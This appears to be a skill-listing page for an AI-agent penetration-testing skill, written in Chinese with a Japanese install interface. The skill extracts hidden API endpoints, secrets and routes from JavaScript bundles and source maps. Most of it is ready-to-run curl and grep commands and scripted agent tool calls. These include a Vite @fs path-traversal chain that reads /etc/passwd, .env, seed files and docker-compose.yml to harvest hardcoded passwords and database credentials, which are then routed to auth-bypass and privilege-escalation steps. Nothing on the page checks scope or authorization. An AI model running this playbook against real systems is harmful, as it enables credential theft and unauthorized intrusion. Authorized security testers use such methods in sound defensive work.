Skip to main contentjs-api-extract
JavaScript 静态分析提取隐藏 API 端点 + Source Map 深度利用。当目标是 SPA/前后端分离、Vue/React/Angular/Vite/Webpack、常规目录扫描收效甚微、或需要从 JS bundle/source map/localStorage/config 中提取 API、密钥、内部域名、WebSocket、GraphQL、路由和前端权限逻辑时使用。发现端点后应路由到 api-fuzz、idor、auth-bypass 等专项测试。
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/haibo3434358/ScareAISec --skill js-api-extractコマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。
| name | js-api-extract |
| description | JavaScript 静态分析提取隐藏 API 端点 + Source Map 深度利用。当目标是 SPA/前后端分离、Vue/React/Angular/Vite/Webpack、常规目录扫描收效甚微、或需要从 JS bundle/source map/localStorage/config 中提取 API、密钥、内部域名、WebSocket、GraphQL、路由和前端权限逻辑时使用。发现端点后应路由到 api-fuzz、idor、auth-bypass 等专项测试。 |
| priority | 8 |
| vuln_types | ["JS接口发现","SourceMap泄露","硬编码密钥泄露","前端鉴权绕过","隐藏API发现"] |
| triggers | [".js","sourceMappingURL","sourcemap",".map","webpack","vite","vue","react","angular","axios","fetch","localStorage","API_URL","baseURL","WebSocket","router"] |
| synonyms | ["js api extract","javascript endpoint discovery","source map leak","frontend api discovery","spa api discovery","JS接口提取","前端源码泄露"] |
| metadata | {"tags":"js,javascript,api,extract,spa,vue,react,angular,webpack,vite,bundle,endpoint,前端分析,source map,sourcemap,js.map,@fs,dev server,硬编码密码","category":"recon","authority":"expert"} |
JavaScript API 端点提取方法论
关于本 Skill 的使用边界（读 Phase 之前必读）
本 Skill 是「从 JS bundle / SourceMap / 运行时全局里提取隐藏 API、密钥、内部域名、路由、前端鉴权逻辑」的采集与转发层，不是「前端安全总论」，也不是「接口测试本身」。
- 不要把「提取出的 endpoint 列表」当成交付物——本 Skill 输出的是测试队列，必须转
api-fuzz / idor-methodology / auth-bypass-methodology / file-upload-methodology 才能出洞。
- 不要把「JS 被混淆」「只看到 webpackJsonp」当成「无法分析」——混淆 ≠ 加密，字符串字面量总是明文；grep
https:// / /api/ / wss?:// / apiKey 仍能拿到大部分价值。
- 不要把「.js.map 返回 200」直接等同「SourceMap 泄露确认」——SPA fallback / CDN 默认 200 / index.html 伪装甚多，必须看
Content-Type 与首行是否为 JSON 且含 version/sources/mappings 字段。
- 不要把本 Skill 当成「鉴权绕过」「提权」「身份伪造」的主路——仅前端
isAdmin/router guard 判断不能直接下「后端也不鉴权」结论，必须转 auth-bypass-methodology / privilege-escalation-web 多账号/多角色闭环。
- 不要把「拿到
apiKey="xxx"」当成「密钥有效」——需区分 公开可公开密钥（AMap/Mapbox/reCAPTCHA site key） vs 不可泄露密钥（AKIA/sk_live/SecretKey/JWT_SECRET）；后者才是 P0 。
- 看到
SPA / Vue / React / Angular / Vite / webpack / sourceMappingURL / @fs / chunk-vendors / runtime\~main / manifest.json / asset-manifest / sw.js / __NEXT_DATA__ / window.__INITIAL_STATE__ / localStorage / WebSocket ，都应把本 Skill 当作必查项跳 Phase 1。
🤖 Agent 工具映射
| 场景 | 优先使用的 Agent 工具 |
|---|
| 从页面 HTML、动态加载、iframe、运行时 chunk 中收集 JS、manifest 和 sourcemap 线索 | browser_get_content + proxy_get_traffic |
请求 JS bundle、.map、manifest、runtime chunk、Vite 源码路径和 @fs 路径 | proxy_send_request + proxy_get_flow_detail |
| 在浏览器上下文读取全局配置、localStorage、sessionStorage、运行时变量和前端路由状态 | browser_evaluate |
| 批量提取 API 路径、完整 URL、WebSocket、GraphQL、路由、baseURL 和敏感关键字 | python3 |
| 对发现端点做存活验证、方法探测、登录/未登录/不同角色响应对比 | proxy_send_request + proxy_diff_responses |
对 SourceMap/Vite Dev Server 暴露继续审计源码、.env、配置、seed、后端入口等高价值文件 | proxy_send_request |
将端点按风险路由到 api-fuzz、idor-methodology、auth-bypass-methodology、file-upload-methodology 等专项 | knowledge_load_skill |
| 固化隐藏 API、SourceMap、硬编码密钥、内部域名、前端鉴权或源码泄露证据 | checklist_mark + note_add |
执行要点：JS 分析不是只列接口；必须把发现结果转成漏洞测试队列，并验证权限、可用性、敏感信息真实性或源码泄露影响。
前后端分离架构中，JS bundle 是 API 端点的最大信息源——比目录扫描高效 10 倍。
0. 立即执行摘要：JS 提取结果必须转成漏洞测试队列
看到 SPA、JS bundle、.map、sourceMappingURL、axios/fetch、baseURL/API_URL、前端路由、localStorage、WebSocket、GraphQL 时，必须进入本 skill。JS 分析不只是找路径，还要找：隐藏 API、前端权限判断、硬编码密钥、内部域名、旧接口、管理端路由、对象 ID 参数、上传/导出/支付接口。
- 收集所有 JS/chunk/runtime/source map，提取 API、完整 URL、WebSocket、GraphQL、路由。
- 搜索
role/isAdmin/permission/hasPerm/authGuard，识别仅前端鉴权。
- 搜索
apiKey/secret/token/password/AWS/AKIA/sk_live，识别硬编码敏感信息。
- 对提取端点按风险分类，并路由到
api-fuzz、idor-methodology、auth-bypass-methodology、file-upload-methodology。
- Source Map/Vite Dev Server 暴露时，优先审计源码、配置、
.env 和 API 定义。
1. JS 发现 → 漏洞假设路由矩阵
| JS 发现 | 漏洞假设 | 后续 skill |
|---|
/admin/、隐藏 router | 垂直越权/前端鉴权 | privilege-escalation-web、auth-bypass-methodology |
/api/v1/、旧接口 | 认证降级/IDOR | auth-bypass-methodology、idor-methodology |
user_id/order_id/file_id | IDOR/BOLA | idor-methodology |
upload/import/export/download | 上传/任意下载/导出越权 | file-upload-methodology、idor-methodology |
baseURL/internal/dev/staging | 内部接口泄露 | api-fuzz、information-disclosure-methodology |
apiKey/secret/token/password | 硬编码密钥 | information-disclosure-methodology、auth-bypass-methodology |
isAdmin/role/permission | 前端权限控制 | privilege-escalation-web |
ws://、socket.io | WebSocket 越权 | websocket-attack |
.map/Vite @fs | 源码/文件读取 | information-disclosure-methodology、lfi-rfi-methodology |
Phase 1: JS 文件收集
1.1 从页面 HTML 收集
curl -s "$TARGET" | grep -oE '(src|href)="[^"]*\.js[^"]*"' | sed 's/.*="\(.*\)"/\1/'
curl -s "$TARGET" | grep -oP '(?:src|href|url)\s*[=:]\s*["\x27]([^"\x27]*\.js[^"\x27]*)["\x27]' | sort -u
1.2 从 Source Map 恢复
curl -s "$TARGET/static/js/app.xxx.js" | tail -1
curl -s "$TARGET/static/js/app.xxx.js.map" -o sourcemap.json
1.2.1 🔴 Source Map 深度利用攻击链（实战高价值）
场景：登录页面渗透时发现 .js.map 可访问，从源码审计一路打到硬编码密码。
这是一条完整的纵深攻击链，每一步的发现都是下一步的入口。
攻击链：Source Map → Dev Server → 源码 → @fs → 硬编码密码
Source Map 可访问
→ 判断是否 Vite/Webpack 开发服务器在线
→ 可以直接访问 .ts/.vue 源码
→ Vite @fs 路径能读服务端文件系统
→ 遍历项目结构找后端代码
→ 找到 prisma/seed.ts、.env、config 等
→ 拿到硬编码密码/数据库凭据
curl -s "$TARGET/assets/index-xxx.js" | tail -5
curl -s -o /dev/null -w "%{http_code}" "$TARGET/assets/index-xxx.js.map"
curl -s "$TARGET/assets/index-xxx.js.map" | grep -oP '"sources":\["[^"]*"' | head -5
curl -s -o /dev/null -w "%{http_code}" "$TARGET/src/main.ts"
curl -s -o /dev/null -w "%{http_code}" "$TARGET/src/App.vue"
/src/utils/request.ts
/src/utils/auth.ts
/src/store/user.ts
/src/router/index.ts
/src/api/*.ts
/src/config.ts
/.env.development
/.env.local
Step 4: Vite @fs 路径遍历（高危！）
curl -s -o /dev/null -w "%{http_code}" "$TARGET/@fs/etc/passwd"
curl -s "$TARGET/@fs$(pwd)/.env"
curl -s "$TARGET/@fs$(pwd)/package.json"
curl -s "$TARGET/@fs$(pwd)/prisma/schema.prisma"
curl -s "$TARGET/@fs$(pwd)/prisma/seed.ts"
curl -s "$TARGET/@fs$(pwd)/server/index.ts"
curl -s "$TARGET/@fs$(pwd)/docker-compose.yml"
| 目标文件 | 找什么 | 危害 |
|---|
prisma/seed.ts | 硬编码的初始用户密码 | 直接登录 admin |
.env / .env.local | DATABASE_URL、JWT_SECRET、API_KEY | 接管数据库/伪造 Token |
src/utils/request.ts | 硬编码的 Authorization header | 绕过认证 |
src/router/index.ts | meta.requiresAuth 判断逻辑 | 前端鉴权绕过 |
server/config.ts | 数据库密码、第三方 API 密钥 | 横向移动 |
docker-compose.yml | 数据库端口、默认密码 | 直连数据库 |
1. proxy_send_request("GET", "{target}/assets/index-xxx.js") → 检查末尾 sourceMappingURL
2. proxy_send_request("GET", "{target}/assets/index-xxx.js.map") → 下载 Source Map
3. 分析 sources 字段 → 确定框架和文件结构
4. proxy_send_request("GET", "{target}/src/main.ts") → 探测 Dev Server
5. 逐个请求关键源码文件 → 审计硬编码凭据
6. proxy_send_request("GET", "{target}/@fs/...") → Vite @fs 读取服务端文件
⚠️ 注意：@fs 路径遍历是 Vite 开发服务器的已知特性（非 CVE），但生产环境不应暴露 Dev Server。发现此问题本身就是一个高危漏洞。
1.3 从 Webpack 清单收集
/static/js/manifest.json
/asset-manifest.json
/webpack-manifest.json
/build/asset-manifest.json
/static/js/runtime~main.xxx.js
1.4 历史版本
curl -s "https://web.archive.org/cdx/search/cdx?url=$DOMAIN/*.js&output=text&fl=original" | sort -u
Phase 2: API 端点提取
2.1 路径模式提取
curl -s "$JS_URL" | grep -oP '["'"'"'](/(?:api|v[0-9]|rest|service|graphql|ws|internal|admin|auth|user|public)[^\s"'"'"']*?)["'"'"']' | sort -u
curl -s "$JS_URL" | grep -oP '(?:baseURL|BASE_URL|API_URL|apiPrefix|apiBase)\s*[=:]\s*["'"'"']([^"'"'"']+)["'"'"']'
curl -s "$JS_URL" | grep -oP '["'"'"'](/[a-zA-Z][a-zA-Z0-9_/\-]{2,}(?:\?[^"'"'"']*)?)["'"'"']' | sort -u | grep -v '\.\(js\|css\|png\|jpg\|svg\|ico\|woff\|ttf\)'
2.2 完整 URL 提取
curl -s "$JS_URL" | grep -oP 'https?://[^\s"'"'"'<>]+' | sort -u
curl -s "$JS_URL" | grep -oP 'https?://[a-zA-Z0-9._-]+\.DOMAIN\.com[^\s"'"'"']*' | sort -u
2.3 关键信息提取
curl -s "$JS_URL" | grep -oiP '(?:api[_-]?key|secret|token|auth|password|credential)\s*[=:]\s*["'"'"']([^"'"'"']{8,})["'"'"']'
curl -s "$JS_URL" | grep -oP 'wss?://[^\s"'"'"']+' | sort -u
curl -s "$JS_URL" | grep -oP '(?:10|172\.(?:1[6-9]|2\d|3[01])|192\.168)\.\d+\.\d+' | sort -u
Phase 3: 端点分类与优先级
| 优先级 | 特征 | 说明 |
|---|
| 🔴 高 | /admin/, /internal/, /debug/, /manage/ | 管理功能，可能缺乏认证 |
| 🔴 高 | /upload, /import, /export, /download | 文件操作，可能有路径穿越/任意读写 |
| 🔴 高 | /user/, /account/, /profile/, /order/ | 用户数据操作，IDOR 高发区 |
| 🟡 中 | /auth/, /login/, /register/, /reset/ | 认证流程，可能有逻辑绕过 |
| 🟡 中 | /search, /query, /filter | 查询接口，SQL 注入高发区 |
| 🟢 低 | /static/, /public/, /health, /status | 静态资源/健康检查 |
Phase 4: 批量验证
for path in $(cat extracted_paths.txt); do
code=$(curl -s -o /dev/null -w "%{http_code}" "$TARGET$path" --connect-timeout 5 -m 10)
echo "$code $path"
done | grep -v "^404 " | sort
200 → 直接可访问，检查响应内容401/403 → 存在但需认证，尝试绕过405 → 端点存在但方法不对，尝试 POST/PUT/DELETE500 → 后端报错，可能有注入点301/302 → 跟踪重定向目标
💡 决策树警告：上表 5 种状态码映射是最常见情况，不是穷尽列举。
特别注意以下「状态码谎报」场景，遇到不能仅凭状态码下结论：
- 404 但接口存在：后端统一返 404 隐藏接口存在性（「隐隐、错错」式），需看
Content-Length / 响应体是否为统一错误页、响应时间是否与真 404 不同。
- 200 但是 SPA fallback：前端所有未命中路由都返
index.html，会伪装成「接口存在」——必须比对 Content-Type 是 application/json 还是 text/html。
- 200 但 body 是「错误负载」：
{"code":-1,"msg":"未授权"} / {"success":false}，HTTP 级别 200 但业务上是 401——需看 body 中 code 字段而非只看 HTTP 状态码。
- 403 但是 WAF/CDN 拦截（Cloudflare/阿里云盾/腾讯云 WAF）不是业务鉴权：应看响应 Header 中是否有
cf-ray/x-waf-*、body 是否为拦截页；换 UA、换 IP、加合法 Referer/Cookie 后可能变 200。
- 301/302 重定向到登录页：实际上是「未认证」的全局拦截，不代表接口不存在；加上会话后重请才能看真实响应。
405 Method Not Allowed 是强信号：表示路径真的在，只是你用错了动词——应依次试 GET/POST/PUT/PATCH/DELETE/OPTIONS 逐个跳变。- 同一 endpoint 在「未登录 / 低权 / 高权 / 另一租户」下响应不同，才是“存在 + 有鉴权”的金字塔判断，不要只用一个身份下结论。
- 「JSONP/老接口 +
?callback=」：状态码总是 200 但响应是 xxx({...}) 包裹——这是 jsonp-data-leak 领域，不要当普通 JSON 接口误报。
- WebSocket / SSE 接口（
wss://、/sse、/events）不走 HTTP 状态码逻辑，HTTP HEAD 可能返 400/426 但接口是活的；必须用 WebSocket 客户端验证。
看到任一异常，返回 Phase 2 重新抽路径特征或跳 api-fuzz 作变体验证，不要仅凭状态码判「存/不存」。
输出要求
- JS 文件清单 — 分析了哪些 JS
- 发现的 API 端点列表 — 按优先级排序
- 暴露的敏感信息 — API Key、内部域名、Token
- 推荐的下一步测试 — 哪些端点应该优先 fuzz
输出格式
[JS/API提取]
JS文件/来源：
框架/构建器：Vue/React/Angular/Vite/Webpack/未知
SourceMap：存在/不存在/未测
发现端点：METHOD/URL/路径/GraphQL/WebSocket
敏感信息：APIKey/Token/内部域名/配置/无
前端权限线索：role/isAdmin/permission/router guard/无
候选漏洞：未授权/IDOR/前端鉴权/密钥泄露/源码泄露/上传/导出/其他
建议 skill：
优先级：P0/P1/P2/P3
⛔ 「最低必测自检」— 标 not_vuln/skipped 前必答
| # | 必测项 | 跳过的合法理由 |
|---|
| 1 | Source Map 探测：所有 JS 文件末尾尝试请求 .js.map，存在则解析 sources 字段 | 已确认全站 .map 都 404 |
| 2 | 硬编码密钥扫描：grep JS bundle 中的 apiKey、secret、token、password、AWS、AKIA、AIza、sk_live_、sk_test_、长串 base64 | JS bundle 已用 js_extract_apis 全量扫描 |
| 3 | 隐藏路由提取：grep router、routes、router/index，提取所有路由路径，对比 sitemap 是否有遗漏 | - |
| 4 | 前端权限校验：找 isAdmin、role、permission、hasPerm 等判断，确认是否仅前端校验（后端无校验 = 越权） | - |
| 5 | API endpoint 全量提取：用 js_extract_apis 工具提取所有 axios.get/post 等调用，对比已知 sitemap 找出未被爬虫发现的 endpoint | 工具已运行 |
| 6 | Vite Dev Server 泄露（如果 sources 暴露）：试 /@fs/<absolute-path> 读取服务端文件 | 非 Vite 框架 |
跳过的"非法"理由
- ❌ "JS 已混淆无法分析" → 混淆≠加密，仍可 grep 字符串字面量；用
proxy_send_request 下载 JS 后 grep https://、/api/
⚠️ Skill 边界与逃逸
本 Skill 负责「从前端产物里挖信息 → 过滤出有价值的 endpoint/密钥/路由/隐藏资源 → 转交主 Skill 闭环」，以下场景必须从本 Skill 主动逃逸到联动 Skill：
| 现场信号 | 应跳转/联动的 Skill 或方向 |
|---|
| 提取到 endpoint 后要做参数/动词/响应 fuzz | api-fuzz |
endpoint 含 id / uuid / *_id / ids[] / node(id:) | idor-methodology |
提取到 GraphQL endpoint / __schema / persisted query | graphql-methodology |
提取到 wss:// / socket.io / sse / /events | websocket-attack |
提取到 /upload / /import / 任意字段 含 file | file-upload-methodology |
提取到 /admin/* / 隐藏路由 / meta.requiresAuth | auth-bypass-methodology + privilege-escalation-web |
提取到 apiKey / secret / JWT_SECRET / AKIA* / sk_live | information-disclosure-methodology（验证后转云资产/JWT 主路） |
提取到 OAuth client_id / redirect_uri / state重用 逻辑 | oauth-sso-attack |
提取到 内部域名 / *.dev.* / *.staging.* / 10.x / 192.168.x | attack-surface-discovery + subdomain-takeover |
提取到 小程序 appid+secret / corpid / 企微 secret / mPaaS DSN | 企微控制台伪造事件判例，不在本 Skill 范围 |
| Source Map 还原后要审后端源码接口 sink | code-security-audit + 各漏洞主 Skill |
Vite @fs 能读服务端文件系统 | lfi-rfi-methodology（路径穿越处理） |
| 提取到 隐藏参数名/隐藏字段（前端有但 sitemap 无）需验证后端是否接收 | js-hidden-api-verify |
| 提取到 老版本 chunk、Wayback 的旧 endpoint | passive-recon + api-fuzz（老接口限价高） |
| 只拿到未登录页的 JS，付费 / 个人中心 / 后台 chunk 未加载 | setup-browser-cookies 导入会话后再跑本 Skill |
一句话：本 Skill 的产物是「能打的隐藏面」而不是「漏洞本身」。任何提取到的 endpoint 都只是输入「另一个 Skill」的原材料，不是结论；任何提取到的 token/key 都要进入对应主 Skill 验证有效性后才能定 P0。「列了 200 个 endpoint」本身不是交付物，「路由了10 个到 api-fuzz / 3 个到 idor / 1 个到 oauth」才是。
